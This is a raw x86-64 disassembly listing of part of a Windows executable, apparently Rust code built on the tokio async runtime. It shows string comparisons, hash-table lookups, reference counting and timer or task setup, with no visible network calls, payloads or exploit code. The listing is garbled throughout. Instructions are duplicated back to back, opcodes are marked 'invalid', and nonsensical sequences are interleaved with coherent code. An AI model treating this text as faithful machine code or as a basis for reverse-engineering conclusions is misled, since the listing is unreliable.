cmp bl, 2
jne 0x14006e900
mov rcx, qword [rsp + 0x30]
mov r12, qword [rcx + 0x10]
mov rbx, qword [r15 - 0x40]
cmp r12, qword [rbx + 0x10]
jne 0x14006e908
mov rcx, qword [rsp + 0x30]
mov r13, qword [rcx + 8]
mov rbp, qword [rbx + 8]
xor ebx, ebx
nop
cmp r12, rbx
je 0x14006e9fb
movzx r11d, byte [r13 + rbx]
movzx r10d, byte [rbp + rbx]
inc rbx
lea ecx, [r11 - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
lea r8d, [r10 - 0x41]
cmp r8b, 0x1a
cmp al, 0x1a
cmp al, 0x1a
sbb al, byte [rcx + 0xf]
xchg edx, eax
rol byte [rcx - 0x40], 0xe0
add eax, 0x45d90844
or cl, bl
or r8b, r10b
setb r8b
shl r8b, 5
or cl, r11b
or cl, bl
or cl, bl
or r8b, r10b
cmp cl, r8b
je 0x14006e980
jmp 0x14006e908
movzx ebx, byte [r15 - 0x48]
cmp bl, 1
jne 0x14006e900
movzx ebx, byte [r15 - 0x47]
cmp byte [rsp + 0x70], 0
je 0x14006e9f3
test bl, bl
jne 0x14006e9fb
jmp 0x14006e908
test bl, bl
jne 0x14006e908
cmp rdi, qword [r15 - 0x28]
jne 0x14006e908
mov r15, qword [r15 - 0x30]
xor ebx, ebx
nop dword [rax + rax]
cmp rdi, rbx
je 0x14006f039
movzx ecx, byte [rsi + rbx]
or al, 0x1e
movzx r8d, byte [r15 + rbx]
inc rbx
lea r10d, [rcx - 0x41]
cmp r10b, 0x1a
cli
sbb al, byte [rcx + 0xf]
xchg edx, eax
ret 0xc041
loop 0x14006ea3a
lea r11d, [r8 - 0x41]
cmp r11b, 0x1a
setb r11b
shl r11b, 5
or r10b, cl
or r11b, r8b
cmp r10b, r11b
je 0x14006ea10
cli
sbb al, byte [rcx + 0xf]
xchg edx, eax
ret 0xc041
jmp 0x14006e908
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 0x30]
mov qword [rsp + 0xb0], rcx
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movdqa xmmword [rsp + 0xa0], xmm2
movdqa xmmword [rsp + 0x90], xmm1
movdqa xmmword [rsp + 0x80], xmm0
lea rcx, [r10 + 0x70]
mov qword [rsp + 0x188], rcx
mov rdx, qword [rsp + 0x58]
call fcn.14006df50
test rax, rax
je 0x14006f083
mov r15, rax
mov rax, qword [rax + 0x18]
test rax, rax
je 0x14006f048
xor esi, esi
jmp 0x14006eb3f
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], r14
mov byte [rsp + 0x90], sil
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x3b]
lea rdx, [rsp + 0xb2]
mov dword [rdx - 0x1e], ecx
mov dword [rdx - 0x21], eax
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0xa8], rbx
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0xb0], al
mov byte [rsp + 0xb1], r12b
movzx eax, word [rsp + 0x2c]
mov word [rdx + 4], ax
mov eax, dword [rsp + 0x28]
mov dword [rdx], eax
xor esi, esi
mov rax, qword [r15 + 0x18]
test rax, rax
je 0x14006f048
mov rcx, qword [r15 + 0x10]
lea rdx, [rcx + 1]
mov r8, qword [r15]
mov r9, qword [r15 + 8]
cmp rdx, r8
cmovb r8, rsi
neg r8
lea rdx, [rcx + r8]
inc rdx
mov qword [r15 + 0x10], rdx
dec rax
mov qword [r15 + 0x18], rax
mov r13, qword [r9 + rcx*8]
movzx eax, byte [r13 + 0x80]
test al, al
je 0x14006ebd0
mov al, 1
xchg byte [r13 + 0x80], al
mov al, 1
xchg byte [r13 + 0x60], al
test al, al
jne 0x14006ebae
mov rax, qword [r13 + 0x50]
mov rcx, qword [r13 + 0x58]
mov qword [r13 + 0x50], 0
mov edx, 0
xchg byte [r13 + 0x60], dl
test rax, rax
je 0x14006ebae
call qword [rax + 8]
mov al, 1
xchg byte [r13 + 0x78], al
test al, al
je 0x14006ec80
lock dec qword [r13]
jne 0x14006eb32
jmp 0x14006eca9
mov qword [rsp + 0x138], r14
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x60], rbp
movzx r12d, byte [rsp + 0xb1]
mov byte [rsp + 0xb1], 2
cmp r12b, 2
je 0x14006fc45
mov r9, qword [rsp + 0x80]
mov r14, qword [rsp + 0x88]
movzx esi, byte [rsp + 0x90]
mov rbp, qword [rsp + 0x98]
mov rdi, qword [rsp + 0xa0]
mov rbx, qword [rsp + 0xa8]
movzx r11d, byte [rsp + 0xb0]
cmp sil, 2
jne 0x14006ecb6
mov byte [rsp + 0x27], r11b
mov byte [rsp + 0x178], sil
test rbp, rbp
je 0x14006ed18
mov rcx, rbp
mov esi, r12d
mov r12, r9
call qword [rdi + 0x18]
mov r9, r12
mov r12d, esi
lock inc qword [rbx]
jg 0x14006ed24
jmp 0x14006fc3e
mov rax, qword [r13 + 0x68]
mov rcx, qword [r13 + 0x70]
mov qword [r13 + 0x68], 0
test rax, rax
je 0x14006ec98
call qword [rax + 0x18]
xor eax, eax
xchg byte [r13 + 0x78], al
lock dec qword [r13]
jne 0x14006eb32
mov rcx, r13
call fcn.140066af0
jmp 0x14006eb32
lea r8, [rsp + 0xb2]
movzx eax, word [r8 + 4]
mov word [rsp + 0x144], ax
mov ecx, dword [r8]
mov dword [rsp + 0x140], ecx
mov edx, dword [r8 - 0x21]
mov r8d, dword [r8 - 0x1e]
mov dword [rsp + 0xc0], edx
mov dword [rsp + 0xc3], r8d
mov edx, dword [rsp + 0xc0]
mov r8d, dword [rsp + 0xc3]
mov dword [rsp + 0x190], edx
mov dword [rsp + 0x193], r8d
mov dword [rsp + 0x78], ecx
mov word [rsp + 0x7c], ax
jmp 0x14006eda3
xor eax, eax
lock inc qword [rbx]
jle 0x14006fc3e
lock inc qword [r9]
movzx esi, byte [rsp + 0x178]
movzx r11d, byte [rsp + 0x27]
jle 0x14006fc3e
lock inc qword [r14 + 0x1c8]
lock inc qword [r14]
jle 0x14006fc3e
lea r8, [rsp + 0xb2]
movzx ecx, word [r8 + 4]
mov word [rsp + 0x144], cx
mov ecx, dword [r8]
mov dword [rsp + 0x140], ecx
mov qword [rsp + 0x98], rbp
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0xa8], rbx
mov byte [rsp + 0xb0], r11b
mov byte [rsp + 0x90], 2
mov byte [rsp + 0xb1], r12b
mov rbp, rax
mov rdi, rdx
mov eax, dword [rsp + 0x190]
mov ecx, dword [rsp + 0x193]
mov dword [rsp + 0xc0], eax
mov dword [rsp + 0xc3], ecx
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x140], eax
movzx eax, word [rsp + 0x7c]
mov word [rsp + 0x144], ax
movzx eax, byte [r13 + 0x80]
test al, al
jne 0x14006edf1
mov al, 1
xchg byte [r13 + 0x48], al
test al, al
je 0x14006ef06
mov eax, dword [rsp + 0xc0]
mov ecx, dword [rsp + 0xc3]
mov dword [rsp + 0x3b], ecx
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0x28], eax
movzx eax, word [rsp + 0x144]
mov word [rsp + 0x2c], ax
mov byte [rsp + 0x30], r11b
mov qword [rsp + 0x68], r9
mov al, 1
xchg byte [r13 + 0x80], al
mov al, 1
xchg byte [r13 + 0x60], al
test al, al
jne 0x14006ee5d
mov rax, qword [r13 + 0x50]
mov rcx, qword [r13 + 0x58]
mov qword [r13 + 0x50], 0
mov edx, 0
xchg byte [r13 + 0x60], dl
test rax, rax
je 0x14006ee5d
call qword [rax + 8]
mov al, 1
xchg byte [r13 + 0x78], al
test al, al
je 0x14006eea7
lock dec qword [r13]
jne 0x14006eed0
mov rcx, r13
call fcn.140066af0
movzx ecx, byte [rsp + 0xb1]
cmp r12b, 2
mov byte [rsp + 0x130], sil
je 0x14006eee6
cmp cl, 2
je 0x14006eac2
lea rcx, [rsp + 0x80]
call fcn.140066b60
jmp 0x14006eac2
mov rax, qword [r13 + 0x68]
mov rcx, qword [r13 + 0x70]
mov qword [r13 + 0x68], 0
test rax, rax
je 0x14006eebf
call qword [rax + 0x18]
xor eax, eax
xchg byte [r13 + 0x78], al
lock dec qword [r13]
je 0x14006ee6e
nop dword [rax]
movzx ecx, byte [rsp + 0xb1]
cmp r12b, 2
mov byte [rsp + 0x130], sil
jne 0x14006ee8c
mov rax, qword [r15 + 0x18]
cmp cl, 2
je 0x14006f043
test rax, rax
mov esi, 0
jne 0x14006eb3f
jmp 0x14006f048
cmp byte [r13 + 0x41], 2
jne 0x14006fc5d
mov qword [r13 + 0x10], r9
mov qword [r13 + 0x18], r14
sbb byte [rcx - 0x78], al
jne 0x14006ef3d
sbb byte [rcx - 0x78], al
jne 0x14006ef3d
mov eax, dword [rsp + 0xc0]
mov ecx, dword [rsp + 0xc3]
mov dword [r13 + 0x21], eax
mov dword [r13 + 0x24], ecx
mov qword [r13 + 0x28], rbp
mov qword [r13 + 0x30], rdi
mov qword [r13 + 0x38], rbx
mov dword [rbp + 0x38], ebx
mov dword [rbp + 0x38], ebx
pop rbp
cmp byte [rbp - 0x78], al
pop rbp
mov byte [r13 + 0x41], r12b
mov byte [r13 + 0x40], r11b
mov byte [r13 + 0x41], r12b
mov eax, dword [rsp + 0x140]
mov dword [r13 + 0x42], eax
movzx eax, word [rsp + 0x144]
mov word [r13 + 0x46], ax
xor eax, eax
xchg byte [r13 + 0x48], al
movzx eax, byte [r13 + 0x80]
mov r12b, 2
test al, al
je 0x14006efbf
mov al, 1
xchg byte [r13 + 0x48], al
test al, al
mov rbp, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x138]
movzx esi, byte [rsp + 0x130]
jne 0x14006ee29
movzx r12d, byte [r13 + 0x41]
mov byte [r13 + 0x41], 2
cmp r12b, 2
jne 0x14006efe3
xor eax, eax
xchg byte [r13 + 0x48], al
mov r12b, 2
jmp 0x14006ee29
mov rbp, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x138]
movzx esi, byte [rsp + 0x130]
jmp 0x14006ee29
lea rax, [r13 + 0x21]
lea rcx, [r13 + 0x42]
mov rdx, qword [r13 + 0x10]
mov qword [rsp + 0x68], rdx
mov r14, qword [r13 + 0x18]
movzx esi, byte [r13 + 0x20]
mov edx, dword [rax]
mov eax, dword [rax + 3]
mov dword [rsp + 0x3b], eax
mov dword [rsp + 0x38], edx
mov rbp, qword [r13 + 0x28]
mov rdi, qword [r13 + 0x30]
mov rbx, qword [r13 + 0x38]
movzx eax, byte [r13 + 0x40]
mov byte [rsp + 0x30], al
movzx eax, word [rcx + 4]
mov word [rsp + 0x2c], ax
mov eax, dword [rcx]
mov dword [rsp + 0x28], eax
xor eax, eax
xchg byte [r13 + 0x48], al
jmp 0x14006ee29
mov rcx, qword [rsp + 0x60]
jmp 0x14006fa3c
test rax, rax
jne 0x14006f083
lea rcx, [rsp + 0xc0]
mov rdx, qword [rsp + 0x188]
and al, 0x88
add dword [rax], eax
add byte [rbx + rcx*4 + 0x44], cl
and al, 0x58
mov byte [rcx], al
add byte [rax], al
mov r8, qword [rsp + 0x58]
call fcn.14006e1d0
movabs rax, 0x8000000000000000
cmp qword [rsp + 0xc0], rax
je 0x14006f083
invalid
or eax, 0x248c8d48
rol byte [rax], 0
add al, ch
jge 0x14006f0f9
lea rcx, [rsp + 0xc0]
call fcn.140066900
invalid
cmp byte [rsp + 0xb1], 2
mov esp, 0xb124
add byte [rdx], al
je 0x14006fa41
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x1c0], rax
movaps xmm0, xmmword [rsp + 0x80]
add byte [rax], 0
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rsi + 0xf], ah
movq mm2, qword [rsp + 0xa0]
add byte [rax], 0
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
mov word [rax + rdx*4], fs
add byte [rax], al
add byte [rsi + 0xf], ah
invalid
outsd dx, dword [rsi]
movq mm2, qword [rsp + 0xa0]
xchg esp, eax
and al, 0xa0
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x14006f053
movdqa xmmword [rsp + 0x1b0], xmm2
movdqa xmmword [rsp + 0x1a0], xmm1
movaps xmmword [rsp + 0x190], xmm0
and al, 0x90
add dword [rax], eax
invalid
and al, 0xb0
add dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x14006f054
and al, 0xa0
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x190], eax
and al, 0x90
add dword [rax], eax
invalid
and al, 0x90
add dword [rax], eax
add byte [rbx + rcx*4 + 0x4c], cl
and al, 0x58
mov r9, qword [rsp + 0x58]
movzx edi, byte [r9]
test edi, edi
je 0x14006f129
cmp edi, 2
jne 0x14006f12b
movzx eax, byte [0x140182310]
and dh, byte [rdx]
adc dword [rax], eax
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14006fc75
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
jb 0x14006f10c
add byte [rax], al
mov rbx, rax
mov rsi, qword [rsp + 0x58]
mov rax, qword [rsi + 8]
mov eax, dword [rsi + 8]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rbx
call qword [r10]
mov r9, rsi
jmp 0x14006f129
invalid
add bl, ch
add eax, 0x41b60f41
add dword [rax - 0x78], eax
mov esp, 0xc024
add byte [rax - 0x779fdbbc], cl
mov byte [rsp + 0x60], al
mov byte [rsp + 0xc1], al
mov qword [rsp + 0x30], rbx
jmp 0x14006f130
movzx eax, byte [r9 + 1]
mov byte [rsp + 0xc0], dil
mov byte [rsp + 0x60], al
mov byte [rsp + 0xc1], al
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0xc8], rbx
lea rcx, [rsp + 0xd0]
and al, 0xd0
add byte [rax], al
add byte [rcx - 0x73], cl
push rcx
sub byte [rcx - 0x75], cl
adc byte [r13 - 0x75], cl
sbb byte [r13 - 0x75], cl
sbb byte [rbp - 0x75], cl
and r15b, dil
adc byte [rax - 0x75], cl
je 0x14006f192
lea rax, [rsi + 0x40]
and al, 0xd0
add byte [rax], al
add byte [rcx - 0x73], cl
push rcx
sub byte [rcx - 0x75], cl
adc byte [r13 - 0x75], cl
sbb byte [r13 - 0x75], cl
sbb byte [rbp - 0x75], cl
sbb byte [rbp - 0x75], cl
and r15b, dil
adc byte [rax - 0x75], cl
je 0x14006f192
lea rax, [rsi + 0x40]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsi + 0x60]
mov rdx, qword [rsi + 0x68]
lea r8, [rsp + 0xc0]
call fcn.14006e580
mov rdx, rax
shr rdx, 0x39
mov rcx, qword [rsi + 0x40]
mov rbx, qword [rsi + 0x48]
mov r12, rbx
mov qword [rsp + 0x178], rax
and r12, rax
mov qword [rsp + 0x138], rdx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
mov r9, qword [rsp + 0xd8]
mov r10, qword [rsp + 0xe0]
xor eax, eax
pcmpeqd xmm1, xmm1
mov qword [rsp + 0x130], r12
add byte [rax - 0x77], cl
pop rsp
and al, 0x68
invalid
add byte [rax - 0x77], cl
pop rsp
and al, 0x68
mov qword [rsp + 0x70], rax
movdqu xmm2, xmmword [rcx + r12]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb esi, xmm3
test esi, esi
jne 0x14006f252
pcmpeqb xmm2, xmm1
pmovmskb r11d, xmm2
test r11d, r11d
mov rax, qword [rsp + 0x70]
and al, 0x70
and al, 0x70
jne 0x14006f90d
add r12, rax
add r12, 0x10
adc byte [rax - 0x7d], cl
invalid
invalid
adc byte [rax - 0x7d], cl
rcl byte [rax], 0x49
and esp, ebx
add eax, 0x10
and r12, rbx
jmp 0x14006f1e7
add byte [rax], 0
add byte [rax], al
cmp edi, 1
je 0x14006f2f0
test edi, edi
je 0x14006fc26
lea esi, [r13 - 1]
and esi, r13d
test si, si
mov rbx, qword [rsp + 0x68]
je 0x14006f202
mov r13d, esi
tzcnt r11d, r13d
add r11, r12
and r11, rbx
neg r11
lea r11, [r11 + r11*8]
lea rbx, [rcx + r11*8]
movzx r11d, byte [rcx + r11*8 - 0x48]
cmp r11d, 1
je 0x14006f230
cmp r11d, 2
jne 0x14006fc26
cmp edi, 2
jne 0x14006f239
mov r11, qword [rbx - 0x40]
mov r15, qword [r11 + 0x10]
mov rax, qword [rsp + 0x30]
cmp r15, qword [rax + 0x10]
cmp edi, dword [rax + 0x10]
cmp edi, dword [rax + 0x10]
jne 0x14006f241
mov rsi, qword [r11 + 8]
mov rax, qword [rsp + 0x30]
mov rbp, qword [rax + 8]
push 0xffffffffdb314508
push 0xffffffffdb314508
nop dword [rax]
cmp r15, r11
je 0x14006f30c
movzx eax, byte [rsi + r11]
movzx r14d, byte [rbp + r11]
inc r11
lea r8d, [rax - 0x41]
cmp r8b, 0x1a
setb r8b
shl r8b, 5
lea edx, [r14 - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or r8b, al
or dl, r14b
cmp r8b, dl
je 0x14006f2b0
jmp 0x14006f241
cmp byte [rbx - 0x47], 0
movzx eax, byte [rsp + 0x60]
je 0x14006f304
test al, al
jne 0x14006f30c
jmp 0x14006f241
test al, al
jne 0x14006f241
cmp qword [rbx - 0x28], r10
jne 0x14006f241
mov rsi, qword [rbx - 0x30]
xor r11d, r11d
nop dword [rax]
cmp r10, r11
je 0x14006f361
movzx eax, byte [rsi + r11]
movzx edx, byte [r9 + r11]
inc r11
lea r8d, [rax - 0x41]
cmp r8b, 0x1a
setb r8b
xchg edx, eax
rol byte [rcx - 0x40], 0xe0
add eax, 0x40bf6a8d
cmp ch, 0x1a
xchg edx, eax
rol byte [rcx - 0x40], 0xe0
add eax, 0x40bf6a8d
cmp ch, 0x1a
setb bpl
shl bpl, 5
or r8b, al
or bpl, dl
cmp r8b, bpl
je 0x14006f320
jmp 0x14006f241
movdqu xmm0, xmmword [rsp + 0xc0]
movdqu xmm1, xmmword [rsp + 0xd0]
movdqu xmm2, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x160], xmm2
movdqa xmmword [rsp + 0x150], xmm1
movdqa xmmword [rsp + 0x140], xmm0
movdqa xmmword [rsp + 0xc0], xmm0
movdqa xmmword [rsp + 0xe0], xmm2
movdqa xmmword [rsp + 0xd0], xmm1
mov qword [rsp + 0xf0], rbx
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xf8], rax
movzx eax, byte [rsp + 0xc0]
cmp al, 3
je 0x14006f426
cmp al, 2
jb 0x14006f403
mov r14, qword [rsp + 0xc8]
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0xe8]
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xe0]
call qword [rax + 0x10]
mov r10, qword [rsp + 0x48]
push rsp
and al, 0x48
mov rax, qword [r10 + 0xa0]
cmp rax, qword [rbx - 8]
jbe 0x14006fa34
clc
add eax, 0x8b480000
test byte [rax + rax*8], ah
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xf0], rax
movaps xmm0, xmmword [rsp + 0x190]
mov rax, qword [rsp + 0x1c0]
add byte [rax], al
mov qword [rsp + 0xf0], rax
movaps xmm0, xmmword [rsp + 0x190]
movaps xmm1, xmmword [rsp + 0x1a0]
movaps xmm2, xmmword [rsp + 0x1b0]
movaps xmmword [rsp + 0xe0], xmm2
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
call fcn.1400df770
mov r14, rax
mov ebp, edx
mov rax, qword [rbx - 8]
cmp rax, qword [rbx - 0x18]
jne 0x14006f49d
lea rcx, [rbx - 0x18]
call fcn.14003ab50
mov rax, qword [rbx - 8]
mov rcx, qword [rbx - 0x10]
lea rdx, [rax + rax*8]
mov r8, qword [rsp + 0xf0]
add byte [rax], al
add byte [rax], al
mov qword [rcx + rdx*8 + 0x30], r8
movdqa xmm0, xmmword [rsp + 0xc0]
movq mm0, qword [rsp + 0xc0]
movdqa xmm1, xmmword [rsp + 0xd0]
movdqa xmm2, xmmword [rsp + 0xe0]
movdqu xmmword [rcx + rdx*8 + 0x20], xmm2
push rsp
shl dword [rax], 1
push rsp
shl dword [rax], 1
movdqu xmmword [rcx + rdx*8 + 0x10], xmm1
movdqu xmmword [rcx + rdx*8], xmm0
mov qword [rcx + rdx*8 + 0x38], r14
mov dword [rcx + rdx*8 + 0x40], ebp
inc rax
je 0x14006f4b3
cmp byte [rcx + 0x4840d16c], cl
inc eax
mov qword [rbx - 8], rax
mov rax, qword [rsp + 0x48]
cmp qword [rax + 0xa8], 0
jne 0x14006fa41
mov esi, dword [rax + 0xb8]
cmp esi, 0x3b9aca00
je 0x14006fa41
mov r12, qword [rax + 0xb0]
movzx eax, byte [0x140182310]
mov edx, 0x48
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14006fc84
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov byte [rax + 0x20], 0
add byte [rax - 0x39], cl
sub byte [rax], al
add byte [rax], al
add dh, al
cmp byte [rax], al
add byte [rax - 0x39], cl
sub byte [rax], al
add byte [rax], al
add dh, al
cmp byte [rax], al
mov word [rax + 0x40], 0
add byte [rax], al
lock inc qword [rax]
jle 0x14006fc3e
mov rax, qword [rsp + 0x48]
mov qword [rax + 0xa8], r14
test r12, r12
jne 0x14006f589
test esi, esi
je 0x14006fc93
call fcn.1400df770
mov r8d, edx
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_timeinterval.rs
lea rcx, [rsp + 0xc0]
mov rdx, rax
call 0x1400f4170
movzx eax, byte [0x140182310]
mov edx, 0x70
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14006fcdb
mov r15, rax
movups xmm0, xmmword [rsp + 0x120]
movups xmmword [rax + 0x60], xmm0
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [rsp + 0x100]
movups xmmword [rax + 0x40], xmm0
movdqu xmm0, xmmword [rsp + 0xc0]
movdqu xmm1, xmmword [rsp + 0xd0]
movdqu xmm2, xmmword [rsp + 0xe0]
movdqu xmm3, xmmword [rsp + 0xf0]
movdqu xmmword [rax + 0x30], xmm3
movdqu xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov rax, qword [rsp + 0x180]
add byte [rax], al
mov r13, qword [rax]
mov rdx, qword [rsp + 0x48]
jmp 0x14006f636
pause
mov rax, qword [r13 + 8]
nop word [rax + rax]
cmp rax, 0xffffffffffffffff
je 0x14006f634
test rax, rax
js 0x14006fc40
lea rcx, [rax + 1]
lock cmpxchg qword [r13 + 8], rcx
jne 0x14006f640
mov rbx, qword [rdx]
test rbx, rbx
je 0x14006f6ce
mov rdi, qword [rdx + 8]
mov rbp, qword [rdi + 0x10]
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14006fcea
dec rbp
and rbp, 0xfffffffffffffff0
lea rcx, [rbx + rbp]
add rcx, 0x10
mov qword [rax], r12
mov dword [rax + 8], esi
mov qword [rax + 0x10], r15
mov byte [rax + 0x18], 0
mov edx, dword [rsp + 0x41]
mov r8d, dword [rsp + 0x44]
mov dword [rax + 0x19], edx
mov dword [rax + 0x1c], r8d
mov qword [rax + 0x20], r14
mov qword [rax + 0x28], r13
lea r8, fcn.14006fd90
mov rdx, rax
call qword [rdi + 0x18]
jmp 0x14006fa41
mov eax, 1
lock xadd qword [0x140182050], rax
mov qword [rsp + 0x140], rax
mov qword [rsp + 0xc0], r12
mov dword [rsp + 0xc8], esi
mov qword [rsp + 0xd0], r15
mov byte [rsp + 0xd8], 0
mov eax, dword [rsp + 0x41]
mov ecx, dword [rsp + 0x44]
mov dword [rsp + 0xd9], eax
mov dword [rsp + 0xdc], ecx
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0xe8], r13
lea rax, [rsp + 0x140]
mov qword [rsp + 0xf0], rax
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006f78d
test eax, eax
jne 0x14006fd58
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
add dh, al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0xd0]
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x14006fcf9
inc rax
mov ecx, dword [0x140182314]
ror byte [rbx + 0x112b510d], 0
mov rdx, qword gs:[0x58]
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rax, qword [rcx + 0xd8]
cmp rax, 2
add byte [rax - 0x75], cl
sbb eax, 0x48000000
cmp eax, 2
je 0x14006fd05
mov rbp, qword [rsp + 0x140]
test rax, rax
je 0x14006faa1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xe0]
lock inc qword [rbx]
jle 0x14006fc3e
movzx eax, byte [0x140182310]
mov edx, 0x100
xor ecx, ecx
call fcn.1400df910
test rax, rax
je case.0x140031ef2.1493
mov rdx, rax
and rdx, 0xffffffffffffff80
lea rdi, [rdx + 0x80]
mov qword [rdx + 0x78], rax
lea rcx, [rbx + 0x68]
or byte [rax - 0x73], 0xba
add byte [rax], 0
add byte [rax - 0x77], cl
js 0x14006f894
lea ecx, [rbx + 0x68]
mov qword [rdx + 0x80], 0xcc
mov qword [rdx + 0x88], 0
lea rax, [0x140141bd8]
mov qword [rdx + 0x90], rax
mov qword [rdx + 0x98], 0
mov qword [rdx + 0xa0], rbx
mov qword [rdx + 0xa8], rbp
mov qword [rdx + 0xb0], r12
mov dword [rdx + 0xb8], esi
mov qword [rdx + 0xc0], r15
mov byte [rdx + 0xc8], 0
mov eax, dword [rsp + 0x41]
mov r8d, dword [rsp + 0x44]
mov dword [rdx + 0xc9], eax
mov dword [rdx + 0xcc], r8d
mov qword [rdx + 0xd0], r14
mov qword [rdx + 0xd8], r13
pxor xmm0, xmm0
movdqa xmmword [rdx + 0xe0], xmm0
mov qword [rdx + 0xf0], 0
mov rdx, rdi
mov r8, rdi
call fcn.1400654a0
test rax, rax
je 0x14006fbbd
mov dl, 0xb8
add byte [rax], al
add byte [rcx + rcx*4 - 0x46], cl
rol byte [rax], 0
add dh, al
invalid
add rbx, 0x10
mov rcx, rbx
mov rdx, rax
xor r8d, r8d
call fcn.1400ec490
jmp 0x14006fbbd
mov r10, qword [rsp + 0x48]
cmp qword [r10 + 0x50], 0
mov rsi, qword [rsp + 0x130]
mov ah, 0x24
xor byte [rcx], al
add byte [rax], al
mov ah, 0x24
xor byte [rcx], al
add byte [rax], al
je 0x14006fbfb
movups xmm0, xmmword [rsp + 0xc0]
movdqu xmm1, xmmword [rsp + 0xd0]
movdqu xmm2, xmmword [rsp + 0xe0]
movdqa xmmword [rsp + 0x160], xmm2
movdqa xmmword [rsp + 0x150], xmm1
movq qword [rsp + 0x150], mm1
movq qword [rsp + 0x150], mm1
movaps xmmword [rsp + 0x140], xmm0
add byte [rax], al
movdqu xmm0, xmmword [rcx + rsi]
pmovmskb eax, xmm0
test eax, eax
invalid
jne 0x14006f983
sal byte [rbp + 0x1d], 0x41
mov ecx, 0x10
mov r9d, 0x10
add rsi, r9
and rsi, rbx
movdqu xmm0, xmmword [rcx + rsi]
pmovmskb eax, xmm0
add r9, 0x10
test eax, eax
je 0x14006f96c
tzcnt eax, eax
add rax, rsi
and rax, rbx
movzx r8d, byte [rcx + rax]
test r8b, r8b
js 0x14006f9a8
movdqa xmm0, xmmword [rcx]
pmovmskb eax, xmm0
tzcnt eax, eax
movzx r8d, byte [rcx + rax]
lea rdx, [rax - 0x10]
and rdx, rbx
mov r9, qword [rsp + 0x138]
mov byte [rcx + rax], r9b
mov byte [rcx + rdx + 0x10], r9b
neg rax
lea rax, [rax + rax*8]
lea rbx, [rcx + rax*8]
and r8b, 1
and al, 1
and al, 1
movzx edx, r8b
sub qword [r10 + 0x50], rdx
movdqa xmm0, xmmword [rsp + 0x140]
add dword [rax], eax
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
mov word [rax + rdx*2], fs
add dword [rax], eax
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
xchg esp, eax
and al, 0x60
add dword [rax], eax
add bl, dh
movq qword [rcx + rax*8 - 0x28], mm2
add dword [rax], eax
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
mov word [rax + rdx*2], fs
add dword [rax], eax
add byte [rsi + 0xf], ah
